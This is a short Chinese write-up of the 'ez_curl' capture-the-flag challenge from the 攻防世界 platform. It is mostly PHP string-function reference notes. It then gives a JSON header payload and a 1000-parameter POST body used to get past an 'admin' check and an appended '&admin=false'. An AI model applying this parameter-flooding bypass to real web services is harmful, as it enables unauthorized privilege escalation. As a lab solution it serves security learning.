攻防世界ez_curl

array()函数是用来创建一个PHp数组

json_decode

对 JSON 格式的字符串进行解码，转换为 PHP 变量

• strripos() - 查找字符串在另一字符串中最后一次出现的位置（不区分大小写）
• strpos() - 查找字符串在另一字符串中第一次出现的位置（区分大小写）
• strrpos() - 查找字符串在另一字符串中最后一次出现的位置（区分大小写）

stripos(string,find,start)

string	必需。规定被搜索的字符串。
find	必需。规定要查找的字符。
start	可选。规定开始搜索的位置。

substr() 函数返回字符串的一部分。substr(string,start,length)

参数	描述
string	必需。规定要返回其中一部分的字符串。
start	必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾的指定位置开始 0 - 在字符串中的第一个字符处开始
length	可选。规定要返回的字符串长度。默认是直到字符串的结尾。 正数 - 从 start 参数所在的位置返回 负数 - 从字符串末端返回

设法绕过上面for的判断

{"headers": ["admin: x", " true: y"]}

当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时，

$_POST数据与php://input数据是一致的。 

bp发送post请求 

 1、GET修改为POST方法
2、加上媒体类型信息：Content-Type: application/x-www-form-urlencoded

程序拼接了一个&admin=false，要绕过这个设置，admin不能是false

打印1000个

{"headers":["admin: t",
" true: t"
],"params":{"admin":"t",
"2":"1",
"3":"1",
"4":"1",
...此处省略
"999":"1",
"1000":"1"
}
}

 SP指的是空格，HT指的是制表符